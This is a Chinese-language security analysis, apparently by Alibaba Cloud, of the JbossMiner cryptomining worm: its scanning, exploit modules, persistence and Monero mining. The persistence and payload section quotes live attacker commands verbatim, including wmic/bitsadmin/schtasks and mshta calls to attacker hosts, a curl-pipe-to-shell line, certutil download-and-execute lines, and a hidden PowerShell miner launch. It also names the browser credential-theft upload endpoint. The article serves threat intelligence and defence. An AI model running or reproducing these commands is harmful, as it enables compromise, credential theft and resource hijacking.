當前位置:
首頁 > 新聞 > JbossMiner 挖礦蠕蟲分析

JbossMiner 挖礦蠕蟲分析

前言

從2013年的誕生,到2016爆發,挖礦(MiningCryptocurrency) 的高回報率,使其成為了一把雙刃劍。據外媒去年的統計,比特幣的算力(Hash Rate)已在半年內翻了一翻。

當比特幣全網算力已經全面進入P算力時代,也就意味著需要有相應計算能力的設備高速運轉,不間斷地暴力驗證和工作,來支撐礦工們的「野心」。

自2017年11月以來,阿里雲安全監控中心成功捕獲到一系列的同源挖礦事件,被感染的主機中發現了名為F-Scrack-Jexboss的惡意文件,用於執行挖礦任務,並對外掃描擴散。本次受害主機以Jboss服務為主,我們將其命名為「JbossMiner」。

通過監控JbossMiner相關情報,阿里雲安全團隊發現,JbossMiner挖礦蠕蟲在18年初爆髮式增長,隨後增速迅猛,近期稍有回落。

本文將以「JbossMiner」的核心代碼為基礎,分別從掃描、入侵、利用、挖礦等功能進行展開,完整分析並還原整個過程:希望研究者,和非安全專業領域的讀者們,能從全局角度看到,挖礦木馬如何瞄準「宿主」,擴張木馬殭屍網路,並可持續利用。為企業和機構的入侵 - 挖礦防範,提供新的視角。

註:JbossMiner中用到的漏洞,阿里雲上已默認可攔截,並且,安騎士已可以檢測JbossMiner中的惡意程序,和執行的惡意命令。建議及時關注威脅提示,如有異常事件可儘快處理。

解構JbossMiner:核心代碼分析

阿里雲安全團隊在蜜罐中捕獲到該二進位樣本,該樣本由py2exe打包,解包反編譯後是一套由Python編寫的完整攻擊程序,包含源碼及依賴類庫等數十個文件,核心功能代碼文件列表如下圖所示:

其核心功能分為四大部分,分別為:掃描、入侵、惡意代碼植入、挖礦。通過這幾部分的分工協作,完成整個入侵 - 植入 - 持續擴張流程。相關邏輯由Python和Shell腳本實現。

下圖為「JbossMiner」完整的傳播及利用路徑:

下面,本文將對上述四大功能部分進行詳細分析。

尋找目標:JbossMiner的掃描過程

·內網掃描:讀取本機網路地址並據此生成C段進行掃描。

·公網掃描:從指定地址拉取IP和子網掩碼,並解析成對應的IP列表。

`u.swb.one`會在每次請求時生成一段目標地址,如下所示:

199.123.16.0/21

103.30.248.0/22

58.10.0.0/15

94.76.64.0/18

隨後JbossMiner對目標IP進行ICMP探活,隨後對存活主機的指定埠進行掃描,並根據埠對應的服務啟動攻擊模塊。

攻陷「宿主」:JbossMiner的入侵模塊分析

JbossMiner蠕蟲客戶端內置的入侵模塊有以下幾種。

首先是Jboss利用模塊

Jboss是一款開源的企業級Java中間件,用於實現基於SOA架構的web應用和服務。2015年,安全研究人員披露Java反序列化漏洞利用方案,Jboss首當其衝,直至今日仍有相當數量存在漏洞的伺服器暴露在公網。JbossMiner復用了開源自動化入侵工具Jexboss,該工具由Python編寫,支持多種Jboss命令執行漏洞的檢測和利用。

第二,Struts2利用模塊

Struts2是當下流行的Java網路應用框架,針對該框架的命令執行漏洞層出不窮。據阿里雲態勢感知觀測,目前Struts框架漏洞仍為黑色產炙手可熱的入侵手段。JbossMiner內部集成了從S2-005到S2-053的全部漏洞利用代碼,入侵成功後通過系統命令控制目標伺服器遠程拉取文件進行挖礦和持久化。

第三,"永恆之藍"利用模塊

永恆之藍(EternalBlue)是美國國家安全局開發的漏洞利用程序,於2017年4月14日被黑客組織公開,並催生了以WannaCry為首的諸多蠕蟲變種。目前很多機器已經修復該漏洞,暴露在公網的影響面有限,但仍不失為一種內網傳播的有效手段。

第四,MySQL利用模塊

MySQL服務的攻擊面主要集中在SQL注入、弱口令及未授權訪問。JbossMiner中的MySQL利用模塊對系統及MySQL版本進行了簡單適配,通過以下兩種方式穿透到主機。

利用方式1

通過outfile/dumpfile導出文件,載入為UDF,執行系統命令。

UDF以16進位的方式存在於Python代碼中,對Windows、Linux進行適配。

落盤文件IOC

該木馬攜帶的`lib_mysqludf32/64`動態鏈接庫,其核心功能就是為了執行MySQL命令,以便運行惡意腳本,該木馬作者將執行命令的代碼放在了`sys_bineval`函數中,其中線程函數StartAddress負責執行用戶傳入的參數。

代碼截圖如下(Linux版本的代碼類似):

利用方式2

通過開啟查詢日誌,並設定日誌文件路徑在crontab目錄下,可以向定時任務寫入惡意代碼,除此之外MySQL中還有其他類似的日誌配置文件可被利用。

第五,Redis利用模塊

Redis服務的攻擊面以未授權訪問和弱口令為主,利用該服務穿透到主機進行後續滲透的方法五花八門,如利用數據導出功能將惡意代碼寫入系統的指定位置(如web後門、計劃任務、SSH密鑰等)。

JbossMiner首先探測目標Redis服務是否存在未授權登錄,隨即使用內置字典爆破密碼,並將成功後的信息回傳到黑客控制的回顯平台。

其中`make_crontab`函數通過寫crontab的方式穿透到系統,接入後續挖礦代碼。

最後是Tomcat/Axis利用模塊

JbossMiner針對Tomcat/Axis服務的入侵方式為WEB層弱口令爆破。

成功登入後,通過Tomcat上傳功能部署後門,war包代碼以hex格式存於Python代碼中。

隨後通過HTTP請求連接後門,依次下發後續利用的命令。

對Axis服務的利用方式與之相同,不再贅述。

部署的後門地址IOC如下:

持續擴張:JbossMiner的後續利用方式

JbossMiner在成功攻破的伺服器中執行系統命令以完成後滲透利用,具體指令如下:

"SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F",

"wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"",

"curl -sL https://lnk0.com/VhscA1 | sh",

"wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime

"wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"",

"wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"",

"wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime

"bitsadmin /create updateer3",

"bitsadmin /addfile updateer3 %SYSTEMROOT%\System32\mshta.exe %temp%\mshta.exe",

"bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"",

"bitsadmin /Resume updateer3"

使用 SchTasks.exe、wmic、bitsadmin來實現在Windows平台的自啟動,除此之外,並針對Windows和Linux執行不同的腳本,後續所有的惡意行為都由這兩個腳本來完成,主要實現持久化、蠕蟲傳播、挖礦、竊取瀏覽器敏感信息等。

文章後面部分內容,將針對這兩部分詳細分析。

·針對Windows系統的利用程序(vbs腳本)

·Linux系統的利用程序(Shell腳本)

https://lnk0.com/VhscA1

Windows Payload

針對Windows系統,JbossMiner在攻擊成功後將使用mshta命令執行名為ps3.txt的vbs腳本,ps3.txt中的shellcode執行流程簡圖如下:

ps3.txt文件的部分內容截圖如下:

解密後的vbs中嵌入了一段powershell命令,解密後,var_code即為最終要執行的代碼(base64編碼)如下:

var_code是為一段shellcode,shellcode內自己實現LoadLibrary和GetProcAddress邏輯,動態載入wininet.dll,獲取wininet.HttpOpenRequestA等相關API來實現http的訪問。

該dCrC文件主要作用就是接受伺服器下發的powershell命令並運行,其核心代碼截圖如下:

在dCrC文件與swb.one伺服器交互,接收其powershell命令並執行,完成自啟動和下發其他惡意程序(挖礦、蠕蟲、竊密)。

powershell命令經過解密後如下:

New-ItemProperty -Path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Name Updater -PropertyType String -Value mshta http://xmr.enjoytopic.tk/d/ps3.txt

New-ItemProperty -Path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Name Updater2 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll

New-ItemProperty -Path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Name Updater3 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "rootsubscription" -Arguments @;$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @;Set-WmiInstance -Namespace "rootsubscription" -Class __FilterToConsumerBinding -Arguments @;

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "rootsubscription" -Arguments @;$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @;Set-WmiInstance -Namespace "rootsubscription" -Class __FilterToConsumerBinding -Arguments @;

除了上述的下發powershell命令外,還下發了兩條下載命令:

C:Windowssystem32cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%svthost.exe &&wmic process call create %temp%svthost.exe

C:Windowssystem32cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%svshost.exe &&wmic process call create %temp%svshost.exe

分別下載svthost.exe的後門程序和svshost.exe橫向滲透傳播程序,其中svshost.exe橫向滲透傳播程序也是由python腳本打包而成的exe程序,於運行時釋放運行所需文件,其文件列表截圖如下:

下面再來看看這個svthost.exe的後門程序是如何盜取瀏覽器用戶名和密碼信息的 — 我們在測試環境下作了驗證。

後門程序不僅盜取Chrome瀏覽器中存儲的賬號和密碼,還盜取Firefox瀏覽器中存儲的賬號和密碼。其上傳盜取數據的介面是:https://u.swb.one/upload/win,相關代碼截圖如下:

Chrome瀏覽器將訪問網站的相關用戶名和密碼,加密保存在一個SQLite資料庫中,路徑為:%APPDATA%..Local GoogleChromeUser DataDefaultLogin Data"。svthost.exe後門程序首先遍歷進程檢查被攻擊者的電腦是否運行了Chrome瀏覽器(chrome.exe),之後再去獲取Chrome瀏覽器賬號和密碼保存的資料庫文件,解密後上傳到黑客的外部伺服器。

檢查chrome瀏覽器保存密碼的資料庫路徑:

其中sub_417C10函數拿到解密後的賬號和密碼,發送到外部伺服器。

同樣,svthost.exe後門程序也是先確認該用戶是否安裝了Firefox瀏覽器,然後利用NSS的開源庫,對沒有設置瀏覽器設定主密碼的攻擊對象(一般會默認為空)進行破解,提取全局hash,獲得它與空密碼做hash後的運算結果,然後使用該結果破譯SDR密鑰,再用破譯的SDR密鑰危害證書,最後拿到Firefox瀏覽器中保存的賬號和密碼。

檢測是否安裝了Firefox瀏覽器代碼片段:

載入NSS開源庫的nss.dll,然後利用其提供函數進行運算:

最後拿到被攻擊者的網站,以及其對應的用戶名和密碼,並上傳到伺服器,其代碼片段如下:

Linux Payload

針對Linux系統,JbossMiner在攻擊成功後將命令寫入crontab來實現後續利用,宿主機將定期下載指定shell腳本執行。

對該shell進行進一步分析,首先從遠端拉取名為`hawk`的文件並執行。

獲取利益:JbossMiner挖礦過程

JbossMiner針對Windows和Linux系統分別做了兩套挖礦程序,實現跨平台挖礦。兩套挖礦程序在不同平台下的運轉詳情分析如下。

Windows平台的挖礦部分

在Windows系統上,JbossMiner蠕蟲執行"regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll"等命令,在vbs腳本中實現下載挖礦程序並執行,相關代碼如下:

Linux平台的挖礦部分

JbossMiner蠕蟲在linux平台上啟動的sh腳本具體內容如下,它判斷用戶是否為root,若是則執行`lowerv2.sh`,若否則再次嘗試寫root用戶的crontab,同時執行`rootv2.sh`,這兩個shell腳本實現了挖礦邏輯。

以低許可權挖礦腳本(lowerv2.sh)為例,腳本從遠端下載礦機的配置文件(config.json)和挖礦程序(bashd)進行挖礦,同時復用上述反彈shell的部分代碼。其內置了三組配置文件和挖礦程序,依次作為候補方案。

高許可權挖礦腳本(rootv2.sh)挖礦邏輯與lowerv2相同,只是刪除了寫root用戶的定時任務相關代碼。

配置文件主要用於雲控配置礦池地址和錢包地址,大部分類似。以config.json為例,其詳細內容如下:

主頁篡改-JS挖礦

基於阿里雲態勢感知,我們同期監控到多起Webshell通信事件與主頁掛馬事件。經分析發現,與JbossMiner為同一團隊所為。與本次行動相關的Webshell,覆蓋多種腳本語言的不同系統,其中部分存在明顯的手工操作痕迹。

黑客通過Webshell向主機下發挖礦程序,同時在目標CMS主頁插入前端挖礦代碼,利用訪問者的算力進行挖礦。

部分通過webshell執行的命令:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile("http://d3oxpv9ajpsgxt.cloudfront.net/rigd64.exe",$env:TEMP+"/explorer.exe");start-process -WindowStyle Hidden $env:TEMP/explorer.exe -ArgumentList "-o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B"

C:\Windows\TEMP\explorer.exe" -o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v Updater2 /t REG_SZ /d C:\Users\Public\Updater2.vbs /f

cmd.exe /c cmd /c "cd /d D:\phpStudy\WWW\&certutil -urlcache -split -f http://121.126.223.211/tg.exe c:\a.exe && wmic process call create c:\a.exe&echo [S]&cd&echo [E]" 2>&1

C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://enjoytopic.esy.es/tg3.txt svthost.exe && svthost.exe

主頁插入代碼:

結語

通過對JbossMiner的整體分析,我們發現,由於網上現成攻擊代碼的泛濫,和惡意文件對PE、ELF等可執行文件的依賴性減弱,對於攻擊者的技術門檻會進一步降低。

例如,在JbossMiner中,由於藉助wmi實現自啟動,使用regsvr32.exe等下載惡意腳本執行,加之功能主要由由vbs腳本實現,最後又借用了metasploit等成熟的攻擊套件。這一系列的「基礎」,使得攻擊者不需要專業的編碼能力,即可完成攻擊。

從勒索軟體、到挖礦木馬,如何提升自身的防禦水平,而不是簡單的拉長防線,是業界和企業,需要警惕和思考的問題。

註:威脅情報來源 - 阿里雲態勢感知,阿里雲安騎士,蜜罐


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

全景剖析挖礦黑色產業鏈
一加手機終於承認錯誤!約4 萬名用戶信用卡信息受影響

TAG:嘶吼RoarTalk |